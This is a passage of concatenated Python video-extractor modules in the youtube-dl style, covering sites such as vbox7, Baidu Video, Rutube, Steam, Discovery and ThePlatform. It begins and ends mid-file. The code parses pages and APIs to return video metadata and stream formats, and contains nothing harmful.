    _VALID_URL = r'https?://(?:www\.)?vbox7\.com/(?:play:|emb/external\.php\?.*?\bvid=)(?P<id>[\da-fA-F]+)'
    _TESTS = [{
        'url': 'http://vbox7.com/play:0946fff23c',
        'md5': 'a60f9ab3a3a2f013ef9a967d5f7be5bf',
        'info_dict': {
            'id': '0946fff23c',
            'ext': 'mp4',
            'title': 'Борисов: Притеснен съм за бъдещето на България',
        },
    }, {
        'url': 'http://vbox7.com/play:249bb972c2',
        'md5': '99f65c0c9ef9b682b97313e052734c3f',
        'info_dict': {
            'id': '249bb972c2',
            'ext': 'mp4',
            'title': 'Смях! Чудо - чист за секунди - Скрита камера',
        },
        'skip': 'georestricted',
    }, {
        'url': 'http://vbox7.com/emb/external.php?vid=a240d20f9c&autoplay=1',
        'only_matching': True,
    }]

    @staticmethod
    def _extract_url(webpage):
        mobj = re.search(
            '<iframe[^>]+src=(?P<q>["\'])(?P<url>(?:https?:)?//vbox7\.com/emb/external\.php.+?)(?P=q)',
            webpage)
        if mobj:
            return mobj.group('url')

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(
            'http://vbox7.com/play:%s' % video_id, video_id)

        title = self._html_search_regex(
            r'<title>(.+?)</title>', webpage, 'title').split('/')[0].strip()

        video_url = self._search_regex(
            r'src\s*:\s*(["\'])(?P<url>.+?.mp4.*?)\1',
            webpage, 'video url', default=None, group='url')

        thumbnail_url = self._og_search_thumbnail(webpage)

        if not video_url:
            info_response = self._download_webpage(
                'http://vbox7.com/play/magare.do', video_id,
                'Downloading info webpage',
                data=urlencode_postdata({'as3': '1', 'vid': video_id}),
                headers={'Content-Type': 'application/x-www-form-urlencoded'})
            final_url, thumbnail_url = map(
                lambda x: x.split('=')[1], info_response.split('&'))

        if '/na.mp4' in video_url:
            self.raise_geo_restricted()

        return {
            'id': video_id,
            'url': self._proto_relative_url(video_url, 'http:'),
            'title': title,
            'thumbnail': thumbnail_url,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import unescapeHTML


class BaiduVideoIE(InfoExtractor):
    IE_DESC = '百度视频'
    _VALID_URL = r'https?://v\.baidu\.com/(?P<type>[a-z]+)/(?P<id>\d+)\.htm'
    _TESTS = [{
        'url': 'http://v.baidu.com/comic/1069.htm?frp=bdbrand&q=%E4%B8%AD%E5%8D%8E%E5%B0%8F%E5%BD%93%E5%AE%B6',
        'info_dict': {
            'id': '1069',
            'title': '中华小当家 TV版国语',
            'description': 'md5:51be07afe461cf99fa61231421b5397c',
        },
        'playlist_count': 52,
    }, {
        'url': 'http://v.baidu.com/show/11595.htm?frp=bdbrand',
        'info_dict': {
            'id': '11595',
            'title': 're:^奔跑吧兄弟',
            'description': 'md5:1bf88bad6d850930f542d51547c089b8',
        },
        'playlist_mincount': 12,
    }]

    def _call_api(self, path, category, playlist_id, note):
        return self._download_json('http://app.video.baidu.com/%s/?worktype=adnative%s&id=%s' % (
            path, category, playlist_id), playlist_id, note)

    def _real_extract(self, url):
        category, playlist_id = re.match(self._VALID_URL, url).groups()
        if category == 'show':
            category = 'tvshow'
        if category == 'tv':
            category = 'tvplay'

        playlist_detail = self._call_api(
            'xqinfo', category, playlist_id, 'Download playlist JSON metadata')

        playlist_title = playlist_detail['title']
        playlist_description = unescapeHTML(playlist_detail.get('intro'))

        episodes_detail = self._call_api(
            'xqsingle', category, playlist_id, 'Download episodes JSON metadata')

        entries = [self.url_result(
            episode['url'], video_title=episode['title']
        ) for episode in episodes_detail['videos']]

        return self.playlist_result(
            entries, playlist_id, playlist_title, playlist_description)






from __future__ import unicode_literals

from .common import InfoExtractor


class EbaumsWorldIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?ebaumsworld\.com/videos/[^/]+/(?P<id>\d+)'

    _TEST = {
        'url': 'http://www.ebaumsworld.com/videos/a-giant-python-opens-the-door/83367677/',
        'info_dict': {
            'id': '83367677',
            'ext': 'mp4',
            'title': 'A Giant Python Opens The Door',
            'description': 'This is how nightmares start...',
            'uploader': 'jihadpizza',
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        config = self._download_xml(
            'http://www.ebaumsworld.com/video/player/%s' % video_id, video_id)
        video_url = config.find('file').text

        return {
            'id': video_id,
            'title': config.find('title').text,
            'url': video_url,
            'description': config.find('description').text,
            'thumbnail': config.find('image').text,
            'uploader': config.find('username').text,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    int_or_none,
    parse_iso8601,
)


class TriluliluIE(InfoExtractor):
    _VALID_URL = r'https?://(?:(?:www|m)\.)?trilulilu\.ro/(?:[^/]+/)?(?P<id>[^/#\?]+)'
    _TESTS = [{
        'url': 'http://www.trilulilu.ro/big-buck-bunny-1',
        'md5': '68da087b676a6196a413549212f60cc6',
        'info_dict': {
            'id': 'ae2899e124140b',
            'ext': 'mp4',
            'title': 'Big Buck Bunny',
            'description': ':) pentru copilul din noi',
            'uploader_id': 'chipy',
            'upload_date': '20120304',
            'timestamp': 1330830647,
            'uploader': 'chipy',
            'view_count': int,
            'like_count': int,
            'comment_count': int,
        },
    }, {
        'url': 'http://www.trilulilu.ro/adena-ft-morreti-inocenta',
        'md5': '929dfb8729dc71750463af88bbbbf4a4',
        'info_dict': {
            'id': 'f299710e3c91c5',
            'ext': 'mp4',
            'title': 'Adena ft. Morreti - Inocenta',
            'description': 'pop music',
            'uploader_id': 'VEVOmixt',
            'upload_date': '20151204',
            'uploader': 'VEVOmixt',
            'timestamp': 1449187937,
            'view_count': int,
            'like_count': int,
            'comment_count': int,
        },
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)
        media_info = self._download_json('http://m.trilulilu.ro/%s?format=json' % display_id, display_id)

        age_limit = 0
        errors = media_info.get('errors', {})
        if errors.get('friends'):
            raise ExtractorError('This video is private.', expected=True)
        elif errors.get('geoblock'):
            raise ExtractorError('This video is not available in your country.', expected=True)
        elif errors.get('xxx_unlogged'):
            age_limit = 18

        media_class = media_info.get('class')
        if media_class not in ('video', 'audio'):
            raise ExtractorError('not a video or an audio')

        user = media_info.get('user', {})

        thumbnail = media_info.get('cover_url')
        if thumbnail:
            thumbnail.format(width='1600', height='1200')

        # TODO: get correct ext for audio files
        stream_type = media_info.get('stream_type')
        formats = [{
            'url': media_info['href'],
            'ext': stream_type,
        }]
        if media_info.get('is_hd'):
            formats.append({
                'format_id': 'hd',
                'url': media_info['hrefhd'],
                'ext': stream_type,
            })
        if media_class == 'audio':
            formats[0]['vcodec'] = 'none'
        else:
            formats[0]['format_id'] = 'sd'

        return {
            'id': media_info['identifier'].split('|')[1],
            'display_id': display_id,
            'formats': formats,
            'title': media_info['title'],
            'description': media_info.get('description'),
            'thumbnail': thumbnail,
            'uploader_id': user.get('username'),
            'uploader': user.get('fullname'),
            'timestamp': parse_iso8601(media_info.get('published'), ' '),
            'duration': int_or_none(media_info.get('duration')),
            'view_count': int_or_none(media_info.get('count_views')),
            'like_count': int_or_none(media_info.get('count_likes')),
            'comment_count': int_or_none(media_info.get('count_comments')),
            'age_limit': age_limit,
        }






# encoding: utf-8
from __future__ import unicode_literals

import re
import itertools

from .common import InfoExtractor
from ..compat import (
    compat_str,
)
from ..utils import (
    determine_ext,
    unified_strdate,
)


class RutubeIE(InfoExtractor):
    IE_NAME = 'rutube'
    IE_DESC = 'Rutube videos'
    _VALID_URL = r'https?://rutube\.ru/(?:video|play/embed)/(?P<id>[\da-z]{32})'

    _TESTS = [{
        'url': 'http://rutube.ru/video/3eac3b4561676c17df9132a9a1e62e3e/',
        'info_dict': {
            'id': '3eac3b4561676c17df9132a9a1e62e3e',
            'ext': 'mp4',
            'title': 'Раненный кенгуру забежал в аптеку',
            'description': 'http://www.ntdtv.ru ',
            'duration': 80,
            'uploader': 'NTDRussian',
            'uploader_id': '29790',
            'upload_date': '20131016',
            'age_limit': 0,
        },
        'params': {
            # It requires ffmpeg (m3u8 download)
            'skip_download': True,
        },
    }, {
        'url': 'http://rutube.ru/play/embed/a10e53b86e8f349080f718582ce4c661',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        video = self._download_json(
            'http://rutube.ru/api/video/%s/?format=json' % video_id,
            video_id, 'Downloading video JSON')

        # Some videos don't have the author field
        author = video.get('author') or {}

        options = self._download_json(
            'http://rutube.ru/api/play/options/%s/?format=json' % video_id,
            video_id, 'Downloading options JSON')

        formats = []
        for format_id, format_url in options['video_balancer'].items():
            ext = determine_ext(format_url)
            if ext == 'm3u8':
                formats.extend(self._extract_m3u8_formats(
                    format_url, video_id, 'mp4', m3u8_id=format_id, fatal=False))
            elif ext == 'f4m':
                formats.extend(self._extract_f4m_formats(
                    format_url, video_id, f4m_id=format_id, fatal=False))
            else:
                formats.append({
                    'url': format_url,
                    'format_id': format_id,
                })
        self._sort_formats(formats)

        return {
            'id': video['id'],
            'title': video['title'],
            'description': video['description'],
            'duration': video['duration'],
            'view_count': video['hits'],
            'formats': formats,
            'thumbnail': video['thumbnail_url'],
            'uploader': author.get('name'),
            'uploader_id': compat_str(author['id']) if author else None,
            'upload_date': unified_strdate(video['created_ts']),
            'age_limit': 18 if video['is_adult'] else 0,
        }


class RutubeEmbedIE(InfoExtractor):
    IE_NAME = 'rutube:embed'
    IE_DESC = 'Rutube embedded videos'
    _VALID_URL = 'https?://rutube\.ru/(?:video|play)/embed/(?P<id>[0-9]+)'

    _TESTS = [{
        'url': 'http://rutube.ru/video/embed/6722881?vk_puid37=&vk_puid38=',
        'info_dict': {
            'id': 'a10e53b86e8f349080f718582ce4c661',
            'ext': 'mp4',
            'upload_date': '20131223',
            'uploader_id': '297833',
            'description': 'Видео группы ★http://vk.com/foxkidsreset★ музей Fox Kids и Jetix<br/><br/> восстановлено и сделано в шикоформате subziro89 http://vk.com/subziro89',
            'uploader': 'subziro89 ILya',
            'title': 'Мистический городок Эйри в Индиан 5 серия озвучка subziro89',
        },
        'params': {
            'skip_download': 'Requires ffmpeg',
        },
    }, {
        'url': 'http://rutube.ru/play/embed/8083783',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        embed_id = self._match_id(url)
        webpage = self._download_webpage(url, embed_id)

        canonical_url = self._html_search_regex(
            r'<link\s+rel="canonical"\s+href="([^"]+?)"', webpage,
            'Canonical URL')
        return self.url_result(canonical_url, 'Rutube')


class RutubeChannelIE(InfoExtractor):
    IE_NAME = 'rutube:channel'
    IE_DESC = 'Rutube channels'
    _VALID_URL = r'https?://rutube\.ru/tags/video/(?P<id>\d+)'
    _TESTS = [{
        'url': 'http://rutube.ru/tags/video/1800/',
        'info_dict': {
            'id': '1800',
        },
        'playlist_mincount': 68,
    }]

    _PAGE_TEMPLATE = 'http://rutube.ru/api/tags/video/%s/?page=%s&format=json'

    def _extract_videos(self, channel_id, channel_title=None):
        entries = []
        for pagenum in itertools.count(1):
            page = self._download_json(
                self._PAGE_TEMPLATE % (channel_id, pagenum),
                channel_id, 'Downloading page %s' % pagenum)
            results = page['results']
            if not results:
                break
            entries.extend(self.url_result(result['video_url'], 'Rutube') for result in results)
            if not page['has_next']:
                break
        return self.playlist_result(entries, channel_id, channel_title)

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        channel_id = mobj.group('id')
        return self._extract_videos(channel_id)


class RutubeMovieIE(RutubeChannelIE):
    IE_NAME = 'rutube:movie'
    IE_DESC = 'Rutube movies'
    _VALID_URL = r'https?://rutube\.ru/metainfo/tv/(?P<id>\d+)'
    _TESTS = []

    _MOVIE_TEMPLATE = 'http://rutube.ru/api/metainfo/tv/%s/?format=json'
    _PAGE_TEMPLATE = 'http://rutube.ru/api/metainfo/tv/%s/video?page=%s&format=json'

    def _real_extract(self, url):
        movie_id = self._match_id(url)
        movie = self._download_json(
            self._MOVIE_TEMPLATE % movie_id, movie_id,
            'Downloading movie JSON')
        movie_name = movie['name']
        return self._extract_videos(movie_id, movie_name)


class RutubePersonIE(RutubeChannelIE):
    IE_NAME = 'rutube:person'
    IE_DESC = 'Rutube person videos'
    _VALID_URL = r'https?://rutube\.ru/video/person/(?P<id>\d+)'
    _TESTS = [{
        'url': 'http://rutube.ru/video/person/313878/',
        'info_dict': {
            'id': '313878',
        },
        'playlist_mincount': 37,
    }]

    _PAGE_TEMPLATE = 'http://rutube.ru/api/video/person/%s/?page=%s&format=json'






# coding: utf-8
from __future__ import unicode_literals

import json

from .common import InfoExtractor
from ..utils import (
    determine_ext,
    int_or_none,
    js_to_json,
)


class MuenchenTVIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?muenchen\.tv/livestream'
    IE_DESC = 'münchen.tv'
    _TEST = {
        'url': 'http://www.muenchen.tv/livestream/',
        'info_dict': {
            'id': '5334',
            'display_id': 'live',
            'ext': 'mp4',
            'title': 're:^münchen.tv-Livestream [0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}$',
            'is_live': True,
            'thumbnail': 're:^https?://.*\.jpg$'
        },
        'params': {
            'skip_download': True,
        }
    }

    def _real_extract(self, url):
        display_id = 'live'
        webpage = self._download_webpage(url, display_id)

        title = self._live_title(self._og_search_title(webpage))

        data_js = self._search_regex(
            r'(?s)\nplaylist:\s*(\[.*?}\]),',
            webpage, 'playlist configuration')
        data_json = js_to_json(data_js)
        data = json.loads(data_json)[0]

        video_id = data['mediaid']
        thumbnail = data.get('image')

        formats = []
        for format_num, s in enumerate(data['sources']):
            ext = determine_ext(s['file'], None)
            label_str = s.get('label')
            if label_str is None:
                label_str = '_%d' % format_num

            if ext is None:
                format_id = label_str
            else:
                format_id = '%s-%s' % (ext, label_str)

            formats.append({
                'url': s['file'],
                'tbr': int_or_none(s.get('label')),
                'ext': 'mp4',
                'format_id': format_id,
                'preference': -100 if '.smil' in s['file'] else 0,
            })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'formats': formats,
            'is_live': True,
            'thumbnail': thumbnail,
        }






from __future__ import unicode_literals

import re
import hashlib

from .common import InfoExtractor

_md5 = lambda s: hashlib.md5(s.encode('utf-8')).hexdigest()


class KankanIE(InfoExtractor):
    _VALID_URL = r'https?://(?:.*?\.)?kankan\.com/.+?/(?P<id>\d+)\.shtml'

    _TEST = {
        'url': 'http://yinyue.kankan.com/vod/48/48863.shtml',
        'md5': '29aca1e47ae68fc28804aca89f29507e',
        'info_dict': {
            'id': '48863',
            'ext': 'flv',
            'title': 'Ready To Go',
        },
        'skip': 'Only available from China',
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        title = self._search_regex(r'(?:G_TITLE=|G_MOVIE_TITLE = )[\'"](.+?)[\'"]', webpage, 'video title')
        surls = re.search(r'surls:\[\'.+?\'\]|lurl:\'.+?\.flv\'', webpage).group(0)
        gcids = re.findall(r'http://.+?/.+?/(.+?)/', surls)
        gcid = gcids[-1]

        info_url = 'http://p2s.cl.kankan.com/getCdnresource_flv?gcid=%s' % gcid
        video_info_page = self._download_webpage(
            info_url, video_id, 'Downloading video url info')
        ip = self._search_regex(r'ip:"(.+?)"', video_info_page, 'video url ip')
        path = self._search_regex(r'path:"(.+?)"', video_info_page, 'video url path')
        param1 = self._search_regex(r'param1:(\d+)', video_info_page, 'param1')
        param2 = self._search_regex(r'param2:(\d+)', video_info_page, 'param2')
        key = _md5('xl_mp43651' + param1 + param2)
        video_url = 'http://%s%s?key=%s&key1=%s' % (ip, path, key, param2)

        return {
            'id': video_id,
            'title': title,
            'url': video_url,
        }






# coding: utf-8
from __future__ import unicode_literals

import json
import re

from .common import InfoExtractor
from ..utils import (
    determine_ext,
    int_or_none,
    js_to_json,
)
from ..compat import compat_urlparse


class UDNEmbedIE(InfoExtractor):
    IE_DESC = '聯合影音'
    _PROTOCOL_RELATIVE_VALID_URL = r'//video\.udn\.com/(?:embed|play)/news/(?P<id>\d+)'
    _VALID_URL = r'https?:' + _PROTOCOL_RELATIVE_VALID_URL
    _TESTS = [{
        'url': 'http://video.udn.com/embed/news/300040',
        'info_dict': {
            'id': '300040',
            'ext': 'mp4',
            'title': '生物老師男變女 全校挺"做自己"',
            'thumbnail': 're:^https?://.*\.jpg$',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }, {
        'url': 'https://video.udn.com/embed/news/300040',
        'only_matching': True,
    }, {
        # From https://video.udn.com/news/303776
        'url': 'https://video.udn.com/play/news/303776',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        page = self._download_webpage(url, video_id)

        options = json.loads(js_to_json(self._html_search_regex(
            r'var\s+options\s*=\s*([^;]+);', page, 'video urls dictionary')))

        video_urls = options['video']

        if video_urls.get('youtube'):
            return self.url_result(video_urls.get('youtube'), 'Youtube')

        formats = []
        for video_type, api_url in video_urls.items():
            if not api_url:
                continue

            video_url = self._download_webpage(
                compat_urlparse.urljoin(url, api_url), video_id,
                note='retrieve url for %s video' % video_type)

            ext = determine_ext(video_url)
            if ext == 'm3u8':
                formats.extend(self._extract_m3u8_formats(
                    video_url, video_id, ext='mp4', m3u8_id='hls'))
            elif ext == 'f4m':
                formats.extend(self._extract_f4m_formats(
                    video_url, video_id, f4m_id='hds'))
            else:
                mobj = re.search(r'_(?P<height>\d+)p_(?P<tbr>\d+).mp4', video_url)
                a_format = {
                    'url': video_url,
                    # video_type may be 'mp4', which confuses YoutubeDL
                    'format_id': 'http-' + video_type,
                }
                if mobj:
                    a_format.update({
                        'height': int_or_none(mobj.group('height')),
                        'tbr': int_or_none(mobj.group('tbr')),
                    })
                formats.append(a_format)

        self._sort_formats(formats)

        thumbnails = [{
            'url': img_url,
            'id': img_type,
        } for img_type, img_url in options.get('gallery', [{}])[0].items() if img_url]

        return {
            'id': video_id,
            'formats': formats,
            'title': options['title'],
            'thumbnails': thumbnails,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    unescapeHTML,
)


class SteamIE(InfoExtractor):
    _VALID_URL = r"""(?x)
        https?://store\.steampowered\.com/
            (agecheck/)?
            (?P<urltype>video|app)/ #If the page is only for videos or for a game
            (?P<gameID>\d+)/?
            (?P<videoID>\d*)(?P<extra>\??) # For urltype == video we sometimes get the videoID
        |
        https?://(?:www\.)?steamcommunity\.com/sharedfiles/filedetails/\?id=(?P<fileID>[0-9]+)
    """
    _VIDEO_PAGE_TEMPLATE = 'http://store.steampowered.com/video/%s/'
    _AGECHECK_TEMPLATE = 'http://store.steampowered.com/agecheck/video/%s/?snr=1_agecheck_agecheck__age-gate&ageDay=1&ageMonth=January&ageYear=1970'
    _TESTS = [{
        'url': 'http://store.steampowered.com/video/105600/',
        'playlist': [
            {
                'md5': 'f870007cee7065d7c76b88f0a45ecc07',
                'info_dict': {
                    'id': '81300',
                    'ext': 'flv',
                    'title': 'Terraria 1.1 Trailer',
                    'playlist_index': 1,
                }
            },
            {
                'md5': '61aaf31a5c5c3041afb58fb83cbb5751',
                'info_dict': {
                    'id': '80859',
                    'ext': 'flv',
                    'title': 'Terraria Trailer',
                    'playlist_index': 2,
                }
            }
        ],
        'params': {
            'playlistend': 2,
        }
    }, {
        'url': 'http://steamcommunity.com/sharedfiles/filedetails/?id=242472205',
        'info_dict': {
            'id': 'WB5DvDOOvAY',
            'ext': 'mp4',
            'upload_date': '20140329',
            'title': 'FRONTIERS - Final Greenlight Trailer',
            'description': 'md5:dc96a773669d0ca1b36c13c1f30250d9',
            'uploader': 'AAD Productions',
            'uploader_id': 'AtomicAgeDogGames',
        }
    }]

    def _real_extract(self, url):
        m = re.match(self._VALID_URL, url)
        fileID = m.group('fileID')
        if fileID:
            videourl = url
            playlist_id = fileID
        else:
            gameID = m.group('gameID')
            playlist_id = gameID
            videourl = self._VIDEO_PAGE_TEMPLATE % playlist_id
        webpage = self._download_webpage(videourl, playlist_id)

        if re.search('<h2>Please enter your birth date to continue:</h2>', webpage) is not None:
            videourl = self._AGECHECK_TEMPLATE % playlist_id
            self.report_age_confirmation()
            webpage = self._download_webpage(videourl, playlist_id)

        if fileID:
            playlist_title = self._html_search_regex(
                r'<div class="workshopItemTitle">(.+)</div>', webpage, 'title')
            mweb = re.finditer(r'''(?x)
                'movie_(?P<videoID>[0-9]+)':\s*\{\s*
                YOUTUBE_VIDEO_ID:\s*"(?P<youtube_id>[^"]+)",
                ''', webpage)
            videos = [{
                '_type': 'url',
                'url': vid.group('youtube_id'),
                'ie_key': 'Youtube',
            } for vid in mweb]
        else:
            playlist_title = self._html_search_regex(
                r'<h2 class="pageheader">(.*?)</h2>', webpage, 'game title')

            mweb = re.finditer(r'''(?x)
                'movie_(?P<videoID>[0-9]+)':\s*\{\s*
                FILENAME:\s*"(?P<videoURL>[\w:/\.\?=]+)"
                (,\s*MOVIE_NAME:\s*\"(?P<videoName>[\w:/\.\?=\+-]+)\")?\s*\},
                ''', webpage)
            titles = re.finditer(
                r'<span class="title">(?P<videoName>.+?)</span>', webpage)
            thumbs = re.finditer(
                r'<img class="movie_thumb" src="(?P<thumbnail>.+?)">', webpage)
            videos = []

            for vid, vtitle, thumb in zip(mweb, titles, thumbs):
                video_id = vid.group('videoID')
                title = vtitle.group('videoName')
                video_url = vid.group('videoURL')
                video_thumb = thumb.group('thumbnail')
                if not video_url:
                    raise ExtractorError('Cannot find video url for %s' % video_id)
                videos.append({
                    'id': video_id,
                    'url': video_url,
                    'ext': 'flv',
                    'title': unescapeHTML(title),
                    'thumbnail': video_thumb
                })
        if not videos:
            raise ExtractorError('Could not find any videos')

        return self.playlist_result(videos, playlist_id, playlist_title)






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_str
from ..utils import (
    float_or_none,
    int_or_none,
    try_get,
)


class CarambaTVIE(InfoExtractor):
    _VALID_URL = r'(?:carambatv:|https?://video1\.carambatv\.ru/v/)(?P<id>\d+)'
    _TESTS = [{
        'url': 'http://video1.carambatv.ru/v/191910501',
        'md5': '2f4a81b7cfd5ab866ee2d7270cb34a2a',
        'info_dict': {
            'id': '191910501',
            'ext': 'mp4',
            'title': '[BadComedian] - Разборка в Маниле (Абсолютный обзор)',
            'thumbnail': 're:^https?://.*\.jpg',
            'duration': 2678.31,
        },
    }, {
        'url': 'carambatv:191910501',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        video = self._download_json(
            'http://video1.carambatv.ru/v/%s/videoinfo.js' % video_id,
            video_id)

        title = video['title']

        base_url = video.get('video') or 'http://video1.carambatv.ru/v/%s/' % video_id

        formats = [{
            'url': base_url + f['fn'],
            'height': int_or_none(f.get('height')),
            'format_id': '%sp' % f['height'] if f.get('height') else None,
        } for f in video['qualities'] if f.get('fn')]
        self._sort_formats(formats)

        thumbnail = video.get('splash')
        duration = float_or_none(try_get(
            video, lambda x: x['annotations'][0]['end_time'], compat_str))

        return {
            'id': video_id,
            'title': title,
            'thumbnail': thumbnail,
            'duration': duration,
            'formats': formats,
        }


class CarambaTVPageIE(InfoExtractor):
    _VALID_URL = r'https?://carambatv\.ru/(?:[^/]+/)+(?P<id>[^/?#&]+)'
    _TEST = {
        'url': 'http://carambatv.ru/movie/bad-comedian/razborka-v-manile/',
        'md5': '',
        'info_dict': {
            'id': '191910501',
            'ext': 'mp4',
            'title': '[BadComedian] - Разборка в Маниле (Абсолютный обзор)',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 2678.31,
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        video_url = self._og_search_property('video:iframe', webpage, default=None)

        if not video_url:
            video_id = self._search_regex(
                r'(?:video_id|crmb_vuid)\s*[:=]\s*["\']?(\d+)',
                webpage, 'video id')
            video_url = 'carambatv:%s' % video_id

        return self.url_result(video_url, CarambaTVIE.ie_key())






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    parse_duration,
    parse_iso8601,
)
from ..compat import compat_str


class DiscoveryIE(InfoExtractor):
    _VALID_URL = r'''(?x)https?://(?:www\.)?(?:
            discovery|
            investigationdiscovery|
            discoverylife|
            animalplanet|
            ahctv|
            destinationamerica|
            sciencechannel|
            tlc|
            velocity
        )\.com/(?:[^/]+/)*(?P<id>[^./?#]+)'''
    _TESTS = [{
        'url': 'http://www.discovery.com/tv-shows/mythbusters/videos/mission-impossible-outtakes.htm',
        'info_dict': {
            'id': '20769',
            'ext': 'mp4',
            'title': 'Mission Impossible Outtakes',
            'description': ('Watch Jamie Hyneman and Adam Savage practice being'
                            ' each other -- to the point of confusing Jamie\'s dog -- and '
                            'don\'t miss Adam moon-walking as Jamie ... behind Jamie\'s'
                            ' back.'),
            'duration': 156,
            'timestamp': 1302032462,
            'upload_date': '20110405',
            'uploader_id': '103207',
        },
        'params': {
            'skip_download': True,  # requires ffmpeg
        }
    }, {
        'url': 'http://www.discovery.com/tv-shows/mythbusters/videos/mythbusters-the-simpsons',
        'info_dict': {
            'id': 'mythbusters-the-simpsons',
            'title': 'MythBusters: The Simpsons',
        },
        'playlist_mincount': 10,
    }, {
        'url': 'http://www.animalplanet.com/longfin-eels-maneaters/',
        'info_dict': {
            'id': '78326',
            'ext': 'mp4',
            'title': 'Longfin Eels: Maneaters?',
            'description': 'Jeremy Wade tests whether or not New Zealand\'s longfin eels are man-eaters by covering himself in fish guts and getting in the water with them.',
            'upload_date': '20140725',
            'timestamp': 1406246400,
            'duration': 116,
            'uploader_id': '103207',
        },
        'params': {
            'skip_download': True,  # requires ffmpeg
        }
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)
        info = self._download_json(url + '?flat=1', display_id)

        video_title = info.get('playlist_title') or info.get('video_title')

        entries = []

        for idx, video_info in enumerate(info['playlist']):
            subtitles = {}
            caption_url = video_info.get('captionsUrl')
            if caption_url:
                subtitles = {
                    'en': [{
                        'url': caption_url,
                    }]
                }

            entries.append({
                '_type': 'url_transparent',
                'url': 'http://players.brightcove.net/103207/default_default/index.html?videoId=ref:%s' % video_info['referenceId'],
                'id': compat_str(video_info['id']),
                'title': video_info['title'],
                'description': video_info.get('description'),
                'duration': parse_duration(video_info.get('video_length')),
                'webpage_url': video_info.get('href') or video_info.get('url'),
                'thumbnail': video_info.get('thumbnailURL'),
                'alt_title': video_info.get('secondary_title'),
                'timestamp': parse_iso8601(video_info.get('publishedDate')),
                'subtitles': subtitles,
            })

        return self.playlist_result(entries, display_id, video_title)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import re
import time
import hmac
import binascii
import hashlib


from .once import OnceIE
from .adobepass import AdobePassIE
from ..compat import (
    compat_parse_qs,
    compat_urllib_parse_urlparse,
)
from ..utils import (
    determine_ext,
    ExtractorError,
    float_or_none,
    int_or_none,
    sanitized_Request,
    unsmuggle_url,
    update_url_query,
    xpath_with_ns,
    mimetype2ext,
    find_xpath_attr,
)

default_ns = 'http://www.w3.org/2005/SMIL21/Language'
_x = lambda p: xpath_with_ns(p, {'smil': default_ns})


class ThePlatformBaseIE(OnceIE):
    def _extract_theplatform_smil(self, smil_url, video_id, note='Downloading SMIL data'):
        meta = self._download_xml(smil_url, video_id, note=note, query={'format': 'SMIL'})
        error_element = find_xpath_attr(meta, _x('.//smil:ref'), 'src')
        if error_element is not None and error_element.attrib['src'].startswith(
                'http://link.theplatform.com/s/errorFiles/Unavailable.'):
            raise ExtractorError(error_element.attrib['abstract'], expected=True)

        smil_formats = self._parse_smil_formats(
            meta, smil_url, video_id, namespace=default_ns,
            # the parameters are from syfy.com, other sites may use others,
            # they also work for nbc.com
            f4m_params={'g': 'UXWGVKRWHFSP', 'hdcore': '3.0.3'},
            transform_rtmp_url=lambda streamer, src: (streamer, 'mp4:' + src))

        formats = []
        for _format in smil_formats:
            if OnceIE.suitable(_format['url']):
                formats.extend(self._extract_once_formats(_format['url']))
            else:
                media_url = _format['url']
                if determine_ext(media_url) == 'm3u8':
                    hdnea2 = self._get_cookies(media_url).get('hdnea2')
                    if hdnea2:
                        _format['url'] = update_url_query(media_url, {'hdnea3': hdnea2.value})

                formats.append(_format)

        subtitles = self._parse_smil_subtitles(meta, default_ns)

        return formats, subtitles

    def _download_theplatform_metadata(self, path, video_id):
        info_url = 'http://link.theplatform.com/s/%s?format=preview' % path
        return self._download_json(info_url, video_id)

    def _parse_theplatform_metadata(self, info):
        subtitles = {}
        captions = info.get('captions')
        if isinstance(captions, list):
            for caption in captions:
                lang, src, mime = caption.get('lang', 'en'), caption.get('src'), caption.get('type')
                subtitles.setdefault(lang, []).append({
                    'ext': mimetype2ext(mime),
                    'url': src,
                })

        return {
            'title': info['title'],
            'subtitles': subtitles,
            'description': info['description'],
            'thumbnail': info['defaultThumbnailUrl'],
            'duration': int_or_none(info.get('duration'), 1000),
            'timestamp': int_or_none(info.get('pubDate'), 1000) or None,
            'uploader': info.get('billingCode'),
        }

    def _extract_theplatform_metadata(self, path, video_id):
        info = self._download_theplatform_metadata(path, video_id)
        return self._parse_theplatform_metadata(info)


class ThePlatformIE(ThePlatformBaseIE, AdobePassIE):
    _VALID_URL = r'''(?x)
        (?:https?://(?:link|player)\.theplatform\.com/[sp]/(?P<provider_id>[^/]+)/
           (?:(?:(?:[^/]+/)+select/)?(?P<media>media/(?:guid/\d+/)?)|(?P<config>(?:[^/\?]+/(?:swf|config)|onsite)/select/))?
         |theplatform:)(?P<id>[^/\?&]+)'''

    _TESTS = [{
        # from http://www.metacafe.com/watch/cb-e9I_cZgTgIPd/blackberrys_big_bold_z30/
        'url': 'http://link.theplatform.com/s/dJ5BDC/e9I_cZgTgIPd/meta.smil?format=smil&Tracking=true&mbr=true',
        'info_dict': {
            'id': 'e9I_cZgTgIPd',
            'ext': 'flv',
